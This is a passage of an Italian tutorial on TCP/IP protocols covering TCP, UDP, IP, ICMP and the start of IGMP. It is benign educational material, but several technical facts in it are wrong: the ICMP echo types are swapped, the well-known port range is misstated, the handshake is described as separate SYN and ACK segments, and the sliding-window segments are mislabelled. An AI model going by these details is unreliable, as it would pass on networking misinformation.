livelli, ad ognuno dei quali sono associati determinati protocolli di comunicazione. I due modelli di suddivisione od organizzazione della rete più noti sono il modello ISO-OSI ed il modello di rete TCP-IP.

2.1 L'architettura di rete

Il modello di organizzazione ISO-OSI suddivide la rete in sette livelli o strati (stack). Nato tra il 1977 e il 1984 ad opera dell'organismo internazionale ISO (International Standard Organization), questo modello si basa su un procedimento standardizzato per il collegamento dei sistemi, chiamato modello standard di riferimento OSI (Open Systems Interconnection).
La descrizione di questa architettura venne poi chiamata modello di organizzazione ISO-OSI.
Invece, secondo il modello di rete TCP-IP, la rete viene suddivisa in quattro strati: lo strato dell'Applicazione (dove opera il software applicativo), lo strato del Trasporto, lo strato Internet e lo strato della Rete.

Il termine protocollo viene usato per indicare un procedimento di trasmissione standardizzato dei dati tra le applicazioni di rete.
I vari protocolli sono caratterizzati dal tipo di dati trasmessi e dalla modalità di trasmissione.
I dati vengono trasmessi in segmenti di byte, chiamati pacchetti.
Nella manualistica sulle comunicazioni di rete è frequente trovare ancora il termine ottetto al posto di byte. L'ottetto, che ha il significato di insieme di otto bit, sostituiva la parola byte perché al momento della progettazione del protocollo TCP esistevano sistemi con byte formati da nove bit. Oggi, pur con la quasi totalità dei sistemi che utilizzano byte di otto bit, questo termine viene ancora utilizzato anche se è anacronistico.
L'organizzazione del modello di rete TCP/IP prevede che i diversi protocolli operino nello strato del trasporto, nello strato internet e nello strato della rete. Nel livello dell'applicazione, i programmi di rete trasmettono i dati al livello del trasporto o di internet utilizzando determinate interfacce software, chiamate API socket.

3 I PROTOCOLLI DI RETE

A livello dello strato del trasporto operano due protocolli: TCP e UDP.
Il protocollo TCP (Transport Control Protocol), esegue il trasporto di una sequenza di dati a livello dello strato del trasporto utilizzando un flusso byte-stream (la spiegazione di byte stream è più avanti). Nello stesso strato opera il protocollo UDP, che trasmette i dati mediante l'invio di datagrammi.
Ad un livello più basso, nello strato della rete operano tre protocolli diversi: il protocollo IP, che si occupa di frammentare i dati e di trasportare i datagrammi attraverso la rete ed i protocolli ICMP e IGMP, che vengono chiamati protocolli di controllo in quanto servono ad inviare dati di controllo della connessione.
Questi protocolli saranno l'oggetto della presente trattazione.

Come abbiamo già detto, nello strato dell'applicazione operano i programmi di rete. Verranno descritte le modalità in cui questi programmi inviano e ricevono i dati, interagendo con lo strato del trasporto e utilizzando dei programmi di
interfaccia (API) che permettono la creazione di una connessione tra due host
in rete (socket). Saranno definiti i vari tipi di socket e le chiamate alle
varie funzioni che i programmi effettuano durante l'instaurarsi della
comunicazione.

3.1 protocolli del livello di trasporto

3.1.1 Il protocollo TCP

RFC 793
In una sessione TCP, tra i due host si stabilisce una connessione
full-duplex, cioè un trasferimento di dati bidirezionale, in cui l'host
destinatario conferma il ricevimento dei pacchetti di dati all'host mittente.
Ma come avviene, in pratica, la connessione con il protocollo TCP? L'host
client comunica al proprio sistema operativo che intende aprire una sessione
con l'host server, e pertanto si fa assegnare una porta. L'assegnazione
viene effettuata dinamicamente dal s.o., con porte casuali i cui numeri
assumono un valore minimo di 1024 fino a 65.535.

Per chi non lo sapesse, le porte da 1 a 256 sono definite porte ben note e
vengono associate ad applicazioni o servizi distinti.
La descrizione delle porte si trova sotto win nel file C:\windows\services,
mentre su linux in /etc/services.

A questo punto, l'host mittente si connette all'indirizzo IP dell'host
server, specificando il numero di porta dell'applicazione con la quale
intende comunicare. Ora l'host server, ricevuta la richiesta di apertura
della sessione, comunica al proprio s.o. che si deve stabilire un'apertura
passiva della porta, la quale si dice che è in stato d'ascolto. A questo
punto si è aperta una sessione di comunicazione punto-punto tra i due host.
Tale sessione viene anche definita circuito virtuale. L'indirizzo IP del
server, unitamente al protocollo usato per il trasporto ed il numero della
porta al quale il protocollo si connette, costituisce l'indirizzo socket.

Prima avevamo detto che TCP invia e riceve i dati utilizzando un flusso
byte-stream. Ma che significa? Significa che il protocollo trasmette tutti i
dati come un'unica sequenza di byte, come se le informazioni facessero parte
di un unico flusso seriale. La trasmissione byte-stream (anche definita a
flusso di dati), utilizzata da TCP si differenzia dalla trasmissione dei
protocolli UDP e IP, che segmentano i dati in datagrammi, unità di
informazioni indipendenti trasmesse non sequenzialmente.

Il flusso dei dati TCP può essere di due tipi: flusso di massa (ftp, news) e flusso interattivo (telnet, rlogin).
Il meccanismo di trasmissione byte-stream adottato da TCP appare a prima vista più farraginoso ed è più lento di quello usato da UDP, ma ha il vantaggio di essere estremamente affidabile perché, a differenza di quest'ultimo, TCP si

assicura che i dati giungano effettivamente all'applicazione ricevente, nella sequenza corretta. Inoltre, TCP ha anche il compito di ottimizzare l'ampiezza di banda della rete, controllando che il flusso di dati trasmesso non sia eccessivo e non mandi in overflow il buffer di dati nell'host di destinazione. In questo caso TCP induce l'host mittente a ridurre la velocità di trasmissione.

Ma come fa il protocollo a garantire la ricezione dei pacchetti di dati TCP?
Per capirlo dobbiamo esaminare com'è fatto un segmento TCP.
Un segmento di dati TCP può essere diviso in 18 campi.

1) Porta di origine: tale campo, a 16 bit, definisce la porta di protocollo usata dall'applicazione trasmittente.
2) Porta di destinazione: campo a 16 bit che identifica la porta di protocollo dell'applicazione ricevente.
3) SEQ o numero di sequenza: campo a 32 bit che indica l'ordine di riassemblaggio dei segmenti.
4) Numero di acknowledgment (numero della conferma): campo a 32 bit che specifica il numero successivo nella sequenza che l'host ricevente si aspetta di ricevere.
5) Offset dei dati: campo a 4 bit che specifica la lunghezza dell'intestazione TCP in parole a 32 bit.
6) Reserved: è un campo a 6 bit riservato, che verrà utilizzato in impieghi futuri; il valore deve essere impostato su 0.
7) Flag URG (bit del controllo urgente): campo di un bit che, se ha il valore impostato a 1, significa che il campo "puntatore urgente" punta a dati urgenti.
8) Flag ACK (Acknowledgment Control Bit o bit del controllo delle conferme): campo di un bit che, se ha il valore impostato a 1, significa che il numero di acknowledgement è valido e deve essere letto.
9) Flag PSH (Push Control Bit o bit del controllo di lancio): campo di un bit che, se impostato ad 1, il segmento chiede di essere inviato immediatamente, senza attendere che l'applicazione riempia il proprio buffer di trasmissione.
10) Flag RST (Reset Control Bit o bit del controllo del reset): campo di un bit che, se impostato ad 1, il segmento richiede che la connessione TCP sia reinizializzata.
11) Flag SYN (Syncronize Control Bit o bit del controllo della sintonia): campo di un bit che, allo stabilirsi di una sessione TCP, imposta il suo valore a 1 e chiede al modulo TCP ricevente di sincronizzare i numeri di sequenza.
12) Flag FIN (Finish Control Bit o bit del controllo di fine invio): campo di un bit che, se impostato ad 1, l'host mittente comunica che non vi sono più dati da trasmettere.
13) Dimensione Finestra: campo a 16 bit che indica il numero di ottetti di dati che l'host mittente accetterà. Questo numero definisce la grandezza delle finestre scorrevoli.
14) Checksum (somma di controllo): campo a 16 bit che permette al modulo TCP ricevente di rilevare eventuali alterazioni sui dati; l'operazione di controllo è calcolata tramite una tecnica definita "complemento ad uno".
15) Puntatore urgente: campo a 16 bit che punta all'ultimo byte di dati

urgenti nell'area dati TCP.

16) Opzioni: campo di lunghezza di bit variabile, che può contenere tre opzioni diverse anche contemporaneamente; queste sono End of Option List=0, No Operation=1, Maximum segment size=2.

17) Padding (riempitivo): campo che, riempito da una serie di 0, assicura che l'intestazione TCP termini al limite dei 32 bit.

18) Data: i dati reali inclusi nel segmento.

L'instaurazione di una sessione TCP, detta anche handshacking a tre vie, si attiva con l'host mittente che invia il primo segmento con il flag SYN impostato ad 1, unitamente ad un numero sequenziale a 32 bit, SEQ, scelto a caso. E' da sottolineare, tuttavia, che il numero di sequenza identifica un byte nel flusso di dati e rappresenta un valore di spostamento (offset) rispetto al primo segmento inviato, come se fosse un contatore. Quindi, i successivi SEQ sono aumentati dell'esatto numero di byte inviati.

L'host ricevente, se accetta la connessione, invia due segmenti. Il primo è in risposta al segmento ricevuto e contiene il flag ACK impostato a 1, oltre al numero di acknowledgement. Questo numero viene impostato su prossimo valore di SEQ che il server si aspetta di ricevere. Tale conferma instaura una connessione TCP in una direzione.

A sua volta, l'host ricevente trasmette un segmento di dati con il flag SYN impostato a 1, e con il proprio numero sequenziale, anche in questo caso scelto casualmente. L'host trasmittente trasmetterà a sua volta un messaggio di acknowledgement, con il flag ACK impostato a 1 e il numero di acknowledgement uguale al SEQ del server aumentato di 1. Ciò crea la comunicazione anche nell'altro senso.
Questa connessione viene definita full-duplex. I dati che scorrono in una direzione sono indipendenti da quelli che scorrono nell'altra.

Es. di handsnake a tre vie tra l'host client A e l'host server B:

A-----> SYN 1, SEQ 2616666351 -----> B A invia la richiesta di connessione
B-----> ACK 1, SEQ 2616666352 -----> A B conferma ricezione dati
B-----> SYN 1, SEQ 6465455251 -----> A B stabilisce connessione altro senso
A-----> ACK 1, SEQ 6465455252 -----> B A si sincronizza con B
A-----> SYN 1, SEQ 2616666352 -----> B A invia il secondo pacchetto dati

Nell'instaurarsi della sessione avviene un altro fatto: l'host mittente imposta le dimensioni della finestra di trasmissione e lo comunica all'host ricevente, che imposta la finestra di ricezione sulle stesse dimensioni.
Ma cosa indica la dimensione di queste finestre? Essa indica il numero massimo di segmenti che si possono inviare ogni volta. In pratica, quando l'applicazione posta al livello superiore passa i dati al protocollo TCP, questo li suddivide in pacchetti o segmenti. Allo stabilirsi della sessione, l'host mittente invia contemporaneamente tanti segmenti quanti ne può contenere la finestra di trasmissione.

Mettiamo che l'host mittente debba inviare 20 segmenti ed imposti la propria finestra di trasmissione in modo da inviare quattro segmenti per volta.
L'host mittente invia i segmenti SYN1, SYN2, SYN3 e SYN4. L'host ricevente,

per qualche problema della rete, riceverà solo i pacchetti 1, 2 e 4.
La risposta dell'host ricevente sarà che ha ricevuto solo i segmenti 1 e 2 e trasmetterà i segmenti ACK1 e ACK2. L'host mittente, ricevuta l'informazione ritrasmetterà i segmenti SYN3 e SYN4, ma contemporaneamente trasmetterà i segmenti SYN5 e SYN6, riempiendo così la finestra di trasmissione.
E così via. Questo tipo di trasmissione viene chiamato metodo delle finestre scorrevoli o sliding windows. In questo modo, l'host ricevente può inviare una sola risposta di conferma per una ricezione di più segmenti contemporaneamente.

Ma come fa l'host mittente a sapere con esattezza quali pacchetti sono giunti a destinazione? Inserendo un temporizzatore di ritrasmissione in ogni segmento trasmesso. Quando il temporizzatore raggiunge il valore di 0, l'host mittente invia nuovamente il segmento, impostando il temporizzatore ad una durata doppia di prima. Questo metodo viene usato in quanto l'host ricevente può comunicare solo l'avvenuta ricezione dei segmenti e non anche il contrario.

La connessione termina mediante un handsnake a due sensi. In pratica, sia il client che il server, possono decidere di terminare la comunicazione, inviando il flag FIN impostato a 1. L'host che invia il flag FIN effettua la chiusura attiva della connessione, mentre l'altro host effettua la chiusura passiva della connessione TCP. Mettiamo che il client invii FIN. Il server risponderà con un flag ACK, che starà ad indicare di avere ricevuto la richiesta di termine della connessione e, generalmente, invierà a sua volta un flag FIN, effettuando la chiusura passiva. Ma che cosa succede se il server non invia il flag FIN? In questo stato viene ancora mantenuta la connessione nell'altro senso. Questo stato di chiusura intermedia viene chiamato Half-Close. E' un evento che avviene raramente perché pochissime applicazioni TCP hanno bisogno di utilizzare questo tipo di chiusura.

Una sessione TCP, pertanto, si può trovare in diverse condizioni, a seconda che la sessione stia per iniziare, sia iniziata o terminata. Durante una connessione, con il comando netstat -na si possono visualizzare tutti gli stati della sessione TCP. Ecco gli stati possibili:

- LISTEN: l'host attende una richiesta di connessione da parte di qualsiasi host remoto;
- SYN-SENT: l'host che si trova in questo stato, ha inviato una richiesta di connessione ad un host ricevente e sta aspettando la richiesta di ritorno per instaurare la connessione full-duplex;
- SYN-RECEIVED: è lo stato dell'host ricevente che ha ricevuto ed inviato a sua volta una richiesta di conferma per la connessione e sta aspettando la conferma;
- ESTABLISHED: significa che la connessione tra i due host è aperta;
- FIN-WAIT1: è lo stato di attesa di una richesta di termine della sessione o di una conferma di una richiesta di termine della sessione precedente;
- FIN-WAIT2: è lo stato di attesa per una richiesta di termine della sessione dall'host remoto;
- CLOSE-WAIT; stato che rappresenta il lasso di tempo in cui la connessione TCP attende la richiesta di termine della sessione da parte dell'applicazione posta nel livello superiore dello stack TCP-IP;
- CLOSING; è lo stato dell'attesa della conferma della richiesta di termine della connessione da parte dell'host remoto;

- LAST-ACK: è lo stato dell'attesa della conferma della richesta di termine della connessione che l'host ha inviato all'host remoto;
- TIME-WAIT: l'host è in attesa di chiudere la connessione, dopo l'invio della conferma della sua richiesta di termine della connessione;
- CLOSED: la connessione tra i due host è terminata.

3.1.2 Il protocollo UDP

RFC 768
E' un protocollo che permette una consegna non garantita, ma più veloce dei dati, trasmessi mediante l'invio di datagrammi. Una seconda caratteristica di tale protocollo è che l'host mittente, durante la trasmissione dei dati, non deve aprire una sessione con l'host di destinazione. Infatti si parla di di comunicazione senza connessione, per distinguerla dalla comunicazione con connessione del protocollo TCP. In questo caso il client effettuerà un'apertura attiva della porta, mentre il server effettuerà un'apertura passiva, ricevendo i dati senza comunicare l'avvenuta ricezione. La mancanza di questo meccanismo di controllo rende meno affidabile, ma sicuramente più veloce, la trasmissione dei dati.

Pertanto, ogni applicazione che voglia utilizzare questo protocollo, come ad es. le applicazioni Realaudio, deve occuparsi di ritrasmettere i dati smarriti e di effettuare direttamente il controllo del flusso dei dati con un apposito buffer, evitando eventuali congestioni del flusso. Inoltre essa dovrà provvedere alla frammentazione e riassemblggio dei dati voluminosi.
Con UDP è comunque possibile una verifica dell'integrità dei dati trasmessi e viene permesso l'invio dei dati in broadcasting e in multicasting, cosa non permessa al protocollo TCP.

Ma come è fatto il datagramma UDP? Esso è composto da un header di 4 byte, contenente quattro campi, e un'area dati. I primi due campi indicano la porta sorgente e la porta destinazione del protocollo. Il terzo campo è il message lenght ed indica la lunghezza in byte del datagramma. Il campo di checksum o somma di controllo, utilizza la tecnica del complemento ad uno sull'header e sui dati per la verifica dell'integrità delle informazioni. L'area dati è di lunghezza variabile e contiene i dati che provengono dall'applicazione posta nel livello superiore.

Nella trasmissione dei dati, l'host mittente non stabilisce una connessione con l'host ricevente, ma invia i datagrammi UDP dopo averli incapsulati in un datagramma IP. L'host ricevente, se avrà una porta in listening, accetterà il pacchetto eliminando l'incapsulazione IP. L'analisi del datagramma UDP permetterà all'host ricevente di verificare le informazioni del datagramma.
Poiché il volume dei dati inviati tramite il protocollo UDP può essere elevata, i datagrammi UDP tendono ad essere frammentati in più pacchetti. Un controllo della velocità può essere effettuato con la produzione da parte dell'host server di datagrammi denominati "source quench", che non sono altro che ICMP di tipo 4; generalmente, la trasmissione dei dati inizia lentamente, per aumentare sempre più finchè il server non risponde con un messaggio soure quench.

3.2 I protocolli del Livello Internet

3.2.1 Il protocollo IP

RFC 791
L'Internet Protocol (IP) è il principale protocollo utilizzato per la trasmissione dei dati in rete. Tutti i protocolli provenienti dal livello superiore dello stack, come TCP ed UDP, o provenienti dallo stesso livello, come i protocolli di controllo ICMP e IGMP, vengono incapsulati nei datagrammi IP e inviati nel livello inferiore, chiamato link layer, pronti per il successivo invio nella rete.

Il pacchetto IP viene chiamato datagramma. Che cosa significa questo termine? Significa unità di dati autocontenente e, solitamente, specifica il tipo di consegna dei dati, per distinguerlo dalla trasmissione dei dati byte-stream. Pertanto, si può comprendere che il datagramma IP, pur utilizzando lo stesso metodo di trasmissione, è diverso dal datagramma UDP.
Il datagramma IP contiene uno header e l'area dati. Quest'ultima, a sua volta consiste nel pacchetto incapsulato. L'header IP ha la lunghezza fissa di 20 byte. Ma ecco, di seguito, i campi dell'header.

- Version number (VERS): campo di 4 bit che identifica la versione dell'IP usata per creare il datagramma.
- Header lengh (HLEN): campo di 4 bit che specifica la lunghezza dell'header IP in parole di 32 bit.
- Type of service (TOS): campo di 8 bit che specifica la priorità di consegna dei dati e le decisioni progettuali. Tuttavia, il TOS non viene supportato da parecchi host e router. Questo campo è a sua volta suddiviso in 5 sottocampi. Il primo sottocampo (precedence) viene utilizzato dalle applicazioni o dai protocolli per specificare l'importanza dei loro dati, mediante un valore che va da 0 a 7. Sebbene sia utile nel controllo delle congestioni in rete, viene scarsamente utilizzato. Il secondo sottocampo (delay), così come gli altri tre, definisce una priorità non generale come il primo, ma dipendente dalle applicazioni. Delay indica che si vogliono minimizzare i ritardi. Il terzo sottocampo (throughput) indica che si vuole massimizzare il throughput. Il quarto sottocampo (reliability) indica che si vuole massimizzare l'affidabilità. L'ultimo sottocampo (cost) indica che si vuole massimizzare il costo.
- Packet length: campo di 16 bit che specifica la lunghezza totale dell'intero pacchetto IP.
- Identification: campo di 16 bit, utilizzato per l'identificazione del datagramma IP quando questo viene frammentato.
- Flags: campo di 3 bit utilizzato per il controllo della frammentazione. Se l'applicazione intende prevenire la frammentazione del datagramma, essa attiva il primo bit del campo. Tuttavia questo metodo viene scarsamente utilizzato poiché in caso di una sua attivazione che sia in contrasto con il MTU il pacchetto viene distrutto. L'ultimo bit del campo indica "altri frammenti". Questo bit viene attivato da IP in tutti i frammenti creati, eccetto l'ultimo frammento, che avrà valore uguale a 0.
- Fragment offset: campo di 13 bit che indica la distanza o punto di rottura dall'inizio del datagramma in caso di frammentazione. Questo valore verrà utilizzato da IP per la ricostruzione dei frammenti.   Dato che la lunghezza massima di un datagramma è di 65535, questo campo deve poter puntare in qualsiasi punto del pacchetto e deve poter contenere valori che vanno da 1 a 65535.
- Time-to-Live (TTL): campo di 8 bit che indica quanto tempo potrà vivere il pacchetto durante il suo viaggio nella rete. Questo campo viene decrementato di un'unità ad ogni passaggio in un router. Il router che riceva un pacchetto scaduto prima del suo arrivo a destinazione, lo distruggerà ed invierà un pacchetto ICMP di avvertimento all'host mittente.
- Protocol: campo di 8 bit che indica quale protocollo ha creato il pacchetto trasportato da IP. A titolo di esempio, il protocollo ICMP ha valore 1, l'IGMP 2, il TCP 6, mentre UDP 17.
- Header checksum: campo di 16 bit utilizzato per la verifica dell'integrità dell'header IP. La checksum non comprende l'area dati, il cui controllo di integrità viene gestito dal protocollo che ha creato il pacchetto.
- Indirizzi IP di partenza e di arrivo: source IP address è un campo di 32 bit che contiene l'indirizzo IP dell'host mittente. Destination IP address è un campo di 32 bit che contiene l'indirizzo IP dell'host ricevente.

- IP options: campo di 8 bit utilizzato per testare e correggere le applicazioni di rete. Questo campo è suddiviso in tre sottocampi: copia, classe opzione e numero opzione. Non tutti i router ed host supportano l'IP options.

In rete si indica per MTU il valore di unità massima di trasferimento del pacchetto che si vuol trasferire. Quando un programma di rete cerca di inviare un pacchetto più grande della MTU di quella rete, esso viene frammentato in più parti. La frammentazione può avvenire anche durante il tragitto, se il router ha una MTU di rete più piccola di quella della rete da dove è partito il pacchetto.
Come si è già detto, il riassemblaggio dei pacchetti avviene per mezzo dei tre campi Identification, Flags e Fragment Offset.

3.2.2 Il protocollo di controllo ICMP

RFC 792
L'internet Control Message Protocol viene definito protocollo di basso livello, in quanto opera nello strato della rete, unitamente al protocollo IP. Tuttavia, pur operando nello stesso livello, anche ICMP si affida al protocollo IP per la trasmissione in rete dei propri pacchetti.
Tutti i programmi che utilizzano l'ICMP devono creare un'interfaccia software particolarmente rudimentale, chiamata socket raw.

Ma di cosa si occupa questo protocollo? L'ICMP svolge essenzialmente due compiti: il primo è di trasportare i messaggi d'errore della rete; il secondo è di trasportare i messaggi di richiesta, i quali contengono sia richieste di informazione che risposte, relative sia alla rete che all'host.
La progettazione di ICMP fu resa necessaria dal fatto che il protocollo IP non contemplava la possibilità di fornire notifiche di errori nel trasporto dei dati. I progettatori decisero di semplificare l'attività di IP e di affidare questo compito al nuovo protocollo ICMP, con alcuni limiti. Infatti ICMP non è in grado di risolvere i problemi scaturiti durante il trasporto dei dati, e non può comunicare il verificarsi di un errore ai router intermedi, ma solo all'host che ha generato il pacchetto. Una particolarità che è utile menzionare è che un messaggio di errore non può generare altri messaggi di errore. Ciò evita la produzione di messaggi a catena, che provocherebbero le cosiddette "tempeste broadcast).

Ma ecco la descrizione del pacchetto ICMP.
L'header ICMP è formato da tre campi, di cui due a 8 bit e il terzo a 16 bit, per un totale di 32 bit. Il pacchetto che contiene ICMP comprende inoltre l'header IP con i primi 8 byte di dati del datagramma che ha generato l'errore (se si tratta di messaggi di errore) o con i dati contenenti il messaggio di richiesta. Ciò avviene perché il pacchetto del protocollo ICMP, per il trasporto nella rete, viene incapsulato in un datagramma IP.

Il primo campo contiene il valore Type ed è di 8 bit. Questo valore indica i 15 tipi diversi di messaggio ICMP.
Il secondo campo contiene il valore Code ed è anch'esso di un byte

(1 byte= 8 bit). Questo valore contiene i codici o le categorie esistenti
per ogni messaggio. Ad esempio, l'ICMP di tipo 3 è un messaggio di errore che
significa destinazione irraggiungibile. Questo messaggio comprende a sua
volta 16 diverse categorie che contemplano i vari tipi di errore per una
destinazione irraggiungibile.
Il terzo campo da 2 byte, contiene il valore Checksum.

Ma ecco una tabella riassuntiva.

Tipo 0 messaggio di richiesta descrizione: risposta echo
Tipo 3 messaggio di errore descrizione: destinazione irraggiungibile
Tipo 4 messaggio di errore descrizione: estinzione della fonte
Tipo 5 messaggio di errore descrizione: reindirizzamento
Tipo 8 messaggio di richiesta descrizione: echo
Tipo 9 messaggio di richiesta descrizione: annuncio al router
Tipo 10 messaggio di richiesta descrizione: sollecito al router
Tipo 11 messaggio di errore descrizione: tempo superato
Tipo 12 messaggio di errore descrizione: problema dei parametri
Tipo 13 messaggio di richiesta descrizione: richiesta di un timestamp
Tipo 14 messaggio di richiesta descrizione: invio di un timestamp
Tipo 15 messaggio di richiesta descrizione: rich. informazioni (obsoleto)
Tipo 16 messaggio di richiesta deccrizione: invio informazioni (obsoleto)
Tipo 17 messaggio di richiesta descrizione: rich. maschera d'indirizzo
Tipo 18 messaggio di richiesta descrizione: invio maschera d'indirizzo

Come si può vedere, ICMP comprende 5 messaggi di errore e 10 messaggi di
richiesta. Specifichiamo i vari messaggi.

- MESSAGGI DI ERRORE

1) errori di destinazione irraggiungibile (tipo 3)

Lo scopo principale del protocollo ICMP è proprio il messaggio di errore del tipo 3, cioè
destinazione irraggiungibile. Questa peculiarità di ICMP serve per ovviare al fatto che il protocollo
IP non garantisce la consegna dei datagrammi. Questo messaggio di errore viene prodotto dal router
ed inviato all'host sorgente ogni volta che non gli è possibile consegnare il pacchetto dei dati.
L'impossibilità di consegna dei dati può dipendere da un problema nel trasferimento dei dati o da un
problema di routing. Nel primo caso il codice di errore è di host irraggiungibile, mentre nel secondo
caso viene prodotto un codice di errore di rete irraggiungibile.
I codici di errore per l'ICMP di tipo 3 sono 16:

codice 0: rete irraggiungibile
codice 1: host irraggiungibile
codice 2: protocollo irraggiungibile
codice 3: porta irraggiungibile
codice 4: necessaria frammentazione e disattivazione del bit "don't fragment"
codice 5: tragitto di origine fallito
codice 6: rete di destinazione sconosciuta
codice 7: host di destinazione sconosciuto
codice 8: host di origine isolato (non più usato)

codice 9: rete di destinazione vietata dall'amministrazione
codice 10: host di destinazione vietato dall'amministrazione
codice 11: rete irraggiungibile per il tipo di servizio (TOS)
codice 12: host irraggiungibile per il tipo di servizio (TOS)
codice 13: comunicazione proibita dall'amministrazione tramite filtri
codice 14: violazione della precedenza da parte dell'host
codice 15: scorciatoia in vigore

2) Errori di indirizzamento (tipo 5)

Essi vengono prodotti dai router. Ogni router di una rete fisica ha il compito di indirizzare i pacchetti verso l'hop successivo del percorso, seguendo la via più breve. Esso ha una propria tabella di routing in cui vengono memorizzate le informazioni sui percorsi ottimali verso una rete di destinazione. La tabella di routing viene costantemente aggiornata mediante un continuo scambio di informazioni tra i router. Quando un computer host invia dei dati in rete utilizzando un percorso non ottimale, il router che è situato nel primo nodo dove inizia il percorso non ottimale informa l'host di ciò con un messaggio di errore di indirizzamento del tipo 5. Questi messaggi di reindirizzamento possono essere inviati solo dai router. I codici di errore per gli ICMP di tipo 5 sono 4:

codice 0: reindirizzamento per rete
codice 1: reindirizzamento per host
codice 2: reindirizzamento per tipo di servizio (TOS) e rete
codice 3: reindirizzamento per tipo di servizio (TOS) e host

3) Errori di superamento del tempo (tipo 11)

Gli header dei datagrammi IP contengono un campo che definisce la vita del pacchetto. Questo campo è chiamato "time to live" (TTL). Se il TTL raggiunge lo zero, il software di rete scarta il pacchetto ed invia all'host sorgente un messaggio di errore. Esistono due codici di errore per questo tiipo di messaggio. Il codice 0 indica che il TTL ha raggiunto lo 0 durante il passaggio. In genere ciò è dovuto ad un errore nelle tabelle di routing che produce un ciclo di routing, cioè un ciclo di loop continui tra due router che si scambiano lo stesso pacchetto, aspettandosi che l'altro router si incarichi dell'hop.
Il codice 1, invece, indica che il timer di riassemblaggio dei frammenti di un host ha raggiunto il suo limite prima che tutti i frammenti fossero giunti. Infatti, quando l'host client invia un datagramma contenente il flag "More Fragment" settato, l'host di destinazione innesca un timer per il riassemblaggio, entro il quale tutti i frammenti devono giungere, pena lo scarto dei frammenti.

4) errori relativi a problemi dei parametri (tipo 12)

Questo tipo di errore può essere generato dall'host ogni qualvolta ci sia una condizione di errore sconosciuta o quando un datagramma non contiene tutte le informazioni richieste dal protocollo. Nel primo caso l'ICMP di tipo 12 avrà il codice 0 (cattivo header IP), mentre nel secondo caso avrà il codice 1 (opzione richiesta mancante)

5) errori di estinzione della fonte (tipo 4)

I protocolli orientati alla connessione come TCP contengono un controllo del flusso dei dati, per impedire l'intasamento del buffer dell'host server. Un protocollo non orientato alla connessione, come IP, è privo di questo controllo del flusso. Poiché i router utilizzano datagrammi IP, senza un

adeguato controllo del flusso dei dati, essi si potrebbero intasare, congestionando a sua volta il traffico di rete. Quando si crea una congestione, i router iniziano a scartare i pacchetti ed inviano questo tipo di messaggio di errore, informando l'host mittente che è necessario rallentare la velocità del flusso. Questo tipo di ICMP contiene un solo codice, settato a 0.

MESSAGGI ICMP DI RICHIESTA

1) Richieste ai router (tipi 9 e 10)

Come specificato nella RFC 1256, il protocollo ICMP effettua due tipi di richiesta al router: il messaggio di sollecito al router (tipo 10) e il messaggio di annuncio del router (tipo 9).
Innanzi tutto è bene ricordare che lo smistamento dei pacchetti si chiama routing. Gli host preposti allo smistamento di questi pacchetti si chiamano router (o anche gateway). Il routing può essere diretto od indiretto: nel primo caso il routing avviene tra due host connessi direttamente alla stessa rete o sottorete; nel secondo caso, i dati vengono trasmessi ad almeno un router, cioè un host che si occupa del successivo smistamento ad un altro router o all'host ricevente. Ogni router ha una sua tabella di routing, che non è altro che una tabella, contenente tra le altre cose, una serie di indirizzi di destinazioni successive, con a fianco un valore numerico (metrica) che indica la qualità della destinazione. La tabella di routing può essere statica e descritta in un file o dinamica. Ora possiamo tornare ai messaggi ICMP di richiesta al router.
Il messaggio di sollecito viene prodotto dall'host al suo avvio, e la risposta del router viene chiamato messaggio di annuncio. Il messaggio di annuncio viene utilizzato dall'host per inizializzare dinamicamente la propria tabella di routing, in modo da non dover utilizzare un file statico come tabella. La particolarità del messaggio di annuncio è che il router può inserire nel pacchetto ICMP più di un indirizzo di router. Ogni indirizzo di router è corredato di un campo, chiamato Preference Level, che indica all'host ricevente quale router utilizzare per primo o con maggior frequenza. Questo pacchetto contiene anche il campo Timelife, che indica il numero di secondi per cui l'indirizzo rimane valido, che di norma è di 1800 secondi.

2) Richieste di timestamp (tipi 13 e 14)

Questi tipi di richieste permettono di misurare il tempo impiegato dai pacchetti nel passare da un host a un altro. Questo datagramma contiene due campi particolari: il campo identificatore ed il numero di sequenza. Questi campi vengono utilizzati per distinguerli tra le varie richieste di timestamp che, generalmente, vengono utilizzate per analisi statistiche del tempo di trasferimento.

3) Richieste di maschera di indirizzo (17 e 18)
La richiesta di maschera di indirizzo viene generalmente utilizzata da una workstation senza disco per poter ottenere la propria maschera di sottorete. La richiesta viene effettuata in broadcast e gli host in rete risponderanno con un datagramma contenente l'invio della maschera di indirizzo. I campi del datagramma ICMP di tipo 17 e 18 sono gli stessi del datagramma timestamp.

4) Messaggi di richiesta e risposta echo (tipi 0 e 8)

Questo tipo di messaggio ICMP viene utilizzato da programmi come ping (packet internet grouper) per verificare se l'host di destinazione è raggiungibile e per misurare il tempo che la richiesta di echo impiega a tornare. L'ICMP di tipo 0 viene inviato dall'applicazione verso l'host di destinazione

e questi risponde con un messaggio di tipo 8. L'utilizzo di questo tipo di ICMP è utile per la verifica della connettività.
Per la conferma che i protocolli TCP/IP sono stati installati correttamente, generalmente si effettua un ping al proprio host, mediante l'utilizzo dell'indirizzo di riciclo o loopback, che è 127.0.0.1. Se il pacchetto torna indietro, i protocolli sono installati correttamente.
Un ping all'indirizzo IP assegnato al proprio host, invece, ci permette di verificare la corretta configurazione di questo IP sul proprio host.
Un ping all'indirizzo IP di gateway predefinito della propria rete, ci permette di verificare la corretta configurazione della maschera di sottorete.
E' evidente che in una buona configurazione dei firewall a filtro di pacchetti, deve essere permessa la ricezione di pacchetti ICMP di errore di tipo 3, mentre è utile bloccare gli ICMP di tipo 0 e 8.

3.2.3 Il protocollo IGMP

RFC 1112
Una piccola premessa per ricordare che gli indirizzi IP si distinguono in unicast, broadcast e multicast. Gli indirizzi di classe A, B e C si dicono indirizzi unicast, in quanto sono assegnati ad un singolo host.
L'Internet Network Information Center (InterNIC) ha il compito di garantire che ogni rete abbia un identificatore univoco. Questo ente utilizza gli indirizzi di classe D per indirizzi di tipo multicast.

Quando i pacchetti inviati da un host mittente devono raggiungere più host destinatari, si possono utilizare due metodi di trasmissione: la trasmissione broadcasting, e la trasmissione multicasting.

Il metodo broadcasting comporta che il pacchetto di dati venga analizzato da tutti gli host della rete, i quali verificheranno che esso non sia destinato a loro. Il problema è che diversi router sono configurati per non inoltrare i pacchetti con la modalità broadcasting.

Il metodo di trasmissione multicasting, invece, permette di specificare come destinazione uno specifico gruppo di host, evitando che i pacchetti debbano essere analizzati da tutti i router della rete.
I dati multicast vengono trasmessi mediante datagrammi UDP.
